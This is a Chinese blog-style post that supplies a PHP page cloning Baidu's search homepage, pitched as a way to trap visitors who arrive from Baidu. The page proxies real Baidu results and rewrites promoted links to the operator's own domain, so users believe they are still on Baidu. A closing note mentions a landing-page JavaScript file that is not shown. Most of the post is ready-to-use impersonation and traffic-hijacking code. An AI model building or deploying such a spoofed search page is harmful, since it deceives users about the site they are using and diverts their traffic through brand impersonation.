这个文件实现的功能就是从百度搜索到你的网站点击后进入.百度自动会变成你自己的网站但是用户看不出来.当用户重新回来搜索的时候搜索不到别人的网站了所有的结果都是你的 当然是相关内容的东西都是你的 首先需要一个php文件 根目录下的一个 index.php <DOCTYPE html PUBLIC "//
这个文件实现的功能就是从百度搜索到你的网站点击后进入.百度自动会变成你自己的网站但是用户看不出来.当用户重新回来搜索的时候搜索不到别人的网站了所有的结果都是你的 当然是相关内容的东西都是你的
首先需要一个php文件
根目录下的一个 index.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>百度搜索</title>
<style>
html,body{height:100%;}
html{overflow-y:auto}
#wrapper{position:relative;_position:;min-height:100%}
#content{padding-bottom:100px;text-align:center;}
#ftCon{height:100px;position:absolute;bottom:44px;text-align:center;width:100%;margin:0 auto;z-index:0;overflow:hidden;}
#ftConw{width:720px;margin:0 auto; font-size:12px;}
body,p,form,ul,li{margin:0;padding:0;list-style:none}
body,form,#fm{position:relative}
td{text-align:left}
img{border:0}
a{color:#00c}
a:active{color:#f60}
#u{color:#999;padding:4px 10px 5px 0;text-align:right; font-size:12px;}
#u a{margin:0 5px}
#u .reg{margin:0}
#m{width:720px;margin:0 auto;}
#nv a,#nv b,.btn,#lk{font-size:14px; margin-right: 12px;}
#fm{padding-left:110px;text-align:left;z-index:1;}
input{border:0;padding:0}
#nv{height:19px;font-size:16px;margin:0 0 4px;text-align:left;text-indent:137px;}
.s_ipt_wr{width:418px;height:30px;display:inline-block;margin-right:5px;background:url(http://s1.bdstatic.com/r/www/img/i-1.0.0.png) no-repeat -304px 0;border:1px solid #b6b6b6;border-color:#9a9a9a #cdcdcd #cdcdcd #9a9a9a;vertical-align:top}.s_ipt{width:405px;height:22px;font:16px/22px arial;margin:5px 0 0 7px;background:#fff;outline:none;-webkit-appearance:none}.s_btn{width:95px;height:32px;padding-top:2px9;font-size:14px;background:#ddd url(http://s1.bdstatic.com/r/www/img/i-1.0.0.png);cursor:pointer}.s_btn_h{background-position:-100px 0}.s_btn_wr{width:97px;height:34px;display:inline-block;background:url(http://s1.bdstatic.com/r/www/img/i-1.0.0.png) no-repeat -202px 0;*position:relative;z-index:0;vertical-align:top}
#lg img{vertical-align:top;margin-bottom:3px}
#lk{margin:33px 0}
#lk span{font:14px "宋体"}
#lm{height:60px}
#lh{margin:16px 0 5px;word-spacing:3px}
.tools{position:absolute;top:-4px;*top:10px;right:7px;}
#mHolder{width:62px;position:relative;z-index:296;display:none}
#mCon{height:18px;line-height:18px;position:absolute;cursor:pointer;padding:0 18px 0 0;background:url(http://s1.bdstatic.com/r/www/img/bg-1.0.0.gif) no-repeat right -134px;background-position:right -136px9}
#mCon span{color:#00c;cursor:default;display:block}
#mCon .hw{text-decoration:underline;cursor:pointer}
#mMenu a{width:100%;height:100%;display:block;line-height:22px;text-indent:6px;text-decoration:none;filter:none9}
#mMenu,#user ul{box-shadow:1px 1px 2px #ccc;-moz-box-shadow:1px 1px 2px #ccc;-webkit-box-shadow:1px 1px 2px #ccc;filter: progid:DXImageTransform.Microsoft.Shadow(Strength=2, Direction=135, Color="#cccccc")9;}
#mMenu{width:56px;border:1px solid #9b9b9b;list-style:none;position:absolute;right:27px;top:28px;display:none;background:#fff}
#mMenu a:hover{background:#ebebeb}
#mMenu .ln{height:1px;background:#ebebeb;overflow:hidden;font-size:1px;line-height:1px;margin-top:-1px}
#cp,#cp a{color:#666666;}
#seth{display:none;behavior:url(#default#homepage)}
#setf{display:none;}
#sekj{margin-left:14px;}
</style>
<style type="text/css">
.bd_dialog{border:1px solid #ccc;background:#fff;color:#333;overflow:hidden}.bd_dialog_handle{width:100%;height:35px;overflow:hidden;background:#fcfcfc;border-bottom:1px solid #f2f2f2;cursor:move;-moz-user-select:none}.bd_dialog_title{line-height:24px;font-size:14px;font-weight:bold;float:left;overflow:hidden;margin:6px 10px 0 20px}.bd_dialog_close{width:14px;height:13px;float:right;background:url(http://s1.bdstatic.com/r/www/cache/user/img/login3.png) 0 -161px;overflow:hidden;margin:10px 10px 0 0;cursor:pointer}.bd_dialog_close_hover{background-position:-19px -161px}.bd_dialog_close_down{background-position:-38px -161px}.bd_dialog_main{width:auto;height:auto;padding:30px 5px 0;overflow:hidden;background:#FFF}
</style>
<script type="text/javascript" src="./js/jquery.js"></script>
<script type="text/javascript">
$(function(){
$("#extends_con").show().prependTo("#container");
})
</script>
<style>
.plf { line-height: 120%; font-size: 100%; width: 32em; word-break: break-all; word-wrap: break-word; }
.plf table { height: 90px; width: 90px; float: left; margin: 0 2px 0 0; padding: 0px; }
.plf table td { width: 100%; height: 100%; text-align: center; margin: 0px; padding: 0px; }
.zbg { float:left; width:8px; height:14px; margin:0 4px 0 8px; }
.z1 { background:#009900; }
.z2 { background:#D80901; }
.z3 { background:#F46600; }
.z4 { background:#653599; }
.z5 { background:#FFC125; }
a:link.zb { color: #000; text-decoration: none }
a:hover.zb { color: #488048; text-decoration: none }
a:visited.zb { color: #000; text-decoration: none }
.pl22 { line-height:22px; }
.pl02 { line-height:2px; }
</style>
</head>
<body>
<?php
if(!empty($_GET['wd'])){
?>
<div id="extends_con" style="display:none;">
123自定义内容
<div style="clear:both; height:1px"></div>
</div>
<?php
}
?>
<?php
error_reporting(E_ALL & ~E_NOTICE);
if(!empty($_GET['wd'])){
set_time_limit(0);
$wd = $_GET['wd'];
$wd = preg_replace('/[ ]+/',' ',$wd);
if(!empty($_GET['pn'])){
$pn=$_GET['pn'];
$url = 'http://www.baidu.com/s?wd='.urlencode($wd).'&pn='.$pn;
}else{
$url = 'http://www.baidu.com/s?wd='.urlencode($wd);
}
$s = file_get_contents($url);
$s=str_replace('action="/s"',"",$s);
//去掉推广
preg_match_all('/<a[^>]*id="awd{1,2}"[^>]*href="([^"]*)"[^>]*>([sS]*)</a>/iU',$s,$tg);
if(count($tg[0])){
for($i=0;$i<count($tg[0]);$i++){
$s = str_replace($tg[1][$i],'http://www.xxx.com', $s);
}
}
//结束
//去掉右边推广
preg_match_all('/<a[^>]*id="dfsd{1,2}"[^>]*href="([^"]*)"[^>]*>([sS]*)</a>/iU',$s,$tgr);
if(count($tgr[0])){
for($i=0;$i<count($tgr[0]);$i++){
$s = str_replace($tgr[1][$i],'http://www.xxx.com', $s);
}
}
//结束
echo $s;exit;
preg_match('/<body[^>]*>([sS]*)</body>/iU',$s,$d);
$s = $d[1];
$arr = array("/s+/","/s*<s*/","/s*>s*/","/s*=s*/");
$to = array(' ','<','>','=');
$s = preg_replace($arr,$to,$s);
$reg = '/<table[^>]*id="d*"[^>]*>([sS]*)</table>/iU';
$reg_tit = '/<a[^>]*href="([^"]*)"[^>]*>([sS]*)</a>/iU';
$reg_intro = '/<font size=(-1|"-1")>([sS]*)<br/iU';
$reg_time = '/d{4}-d{1,2}-d{1,2}/';
preg_match_all($reg,$s,$d);
if(count($d[0])){
foreach($d[1] as $s){
preg_match($reg_tit,$s,$d);
$d2['url'] = $d[1];
$d2['title'] = preg_replace("/<[^>]*>/",'',$d[2]);
preg_match($reg_intro,$s,$d);
$d2['intro'] = preg_replace("/<[^>]*>/",'',$d[2]);
preg_match($reg_time,$s,$d);
$d2['time'] = $d[0];
$RS_data[] = $d2;
}
unset($d);
}
}
?>
<div id="wrapper">
<div id="content">
<div id="ie6tipcon"></div>
<div id="u"><a name="tj_setting" href="http://www.baidu.com/gaoji/preferences.html">搜索设置</a>|<a id="lb" onclick="return false;" name="tj_login" href="https://passport.baidu.com/v2/?login&tpl=mn&u=http%3A%2F%2Fwww.baidu.com%2F">登录</a>
<a class="reg" name="tj_reg" target="_blank" href="https://passport.baidu.com/v2/?reg®Type=1&tpl=mn&u=http%3A%2F%2Fwww.baidu.com%2F">注册</a>
</div>
<div id="m">
<p id="lg">
<img width="270" height="129" src="http://www.baidu.com/img/baidu_sylogo1.gif">
</p>
<p id="nv">
<a href="http://news.baidu.com" name="tj_news">新 闻</a>
<b>网 页</b>
<a href="http://tieba.baidu.com" name="tj_tieba">贴 吧</a>
<a href="http://zhidao.baidu.com" name="tj_zhidao">知 道</a>
<a href="http://music.baidu.com" name="tj_mp3">音 乐</a>
<a href="http://image.baidu.com" name="tj_img">图 片</a>
<a href="http://video.baidu.com" name="tj_video">视 频</a>
<a href="http://map.baidu.com" name="tj_map">地 图</a>
</p>
<div id="fm">
<form name="frm" action="" method="get" name="f">
<span class="s_ipt_wr"><input id="kw" class="s_ipt" type="text" maxlength="100" name="wd" autocomplete="off"></span>
<input type="hidden" value="0" name="rsv_bp">
<input type="hidden" value="3" name="rsv_spt">
<span class="s_btn_wr">
<input id="su" class="s_btn" type="submit" onmouseout="this.className='s_btn'" onmousedown="this.className='s_btn s_btn_h'" value="百度一下">
</span>
<div id="sd_1351759820537" style="display: none;"></div>
</form>
<span class="tools">
<span id="mHolder">
<div id="mCon">
<span>输入法</span>
</div>
</span>
</span>
<ul id="mMenu">
<li>
<a name="ime_hw" href="#">手写</a>
</li>
<li>
<a name="ime_py" href="#">拼音</a>
</li>
<li class="ln"></li>
<li>
<a name="ime_cl" href="#">关闭</a>
</li>
</ul>
</div>
<p id="lk">
<a href="http://baike.baidu.com" name="tj_baike">百科</a>
<a href="http://wenku.baidu.com" name="tj_wenku">文库</a>
<a href="http://www.hao123.com" name="tj_hao123">hao123</a>
<span>
|
<a href="http://www.baidu.com/more/" name="tj_more">更多>></a>
</span>
</p>
<p id="lm"></p>
</div>
</div>
<div id="ftCon">
<div id="ftConw">
<p>
<a id="seth" onClick="h(this)" href="/" onmousedown="return ns_c({'fm':'behs','tab':'homepage','pos':0})">把百度设为主页</a><a id="setf" href="http://www.baidu.com/cache/sethelp/index.html" onmousedown="return ns_c({'fm':'behs','tab':'favorites','pos':0})" target="_blank">把百度设为主页</a>
<span id="sekj">
<a onmousedown="return ns_c({'fm':'behs','tab':'kuaijie','pos':1})" target="_blank" href="http://www.baidu.com/search/baidukuaijie_mp.html">把百度添加到桌面</a>
</span>
</p>
<p id="lh">
<a onmousedown="return ns_c({'fm':'behs','tab':'btlink','pos':2})" href="http://e.baidu.com/?refer=888">加入百度推广</a>
|
<a href="http://top.baidu.com">搜索风云榜</a>
|
<a href="http://home.baidu.com">关于百度</a>
|
<a href="http://ir.baidu.com">About Baidu</a>
</p>
<p id="cp">
©2012 Baidu
<a href="/duty/">使用百度前必读</a>
<a target="_blank" href="http://www.miibeian.gov.cn">京ICP证030173号</a>
<img src="http://www.baidu.com/cache/global/img/gs.gif">
</p>
</div>
</div>
</div>
</body>
</html>
当然还需要一个js文件这个js 文件要放到你的着陆页
懂得程序的同学自然一看就明白了.
最后你还要再建立一个js 目录 里面放入jquery.js
暂无评论
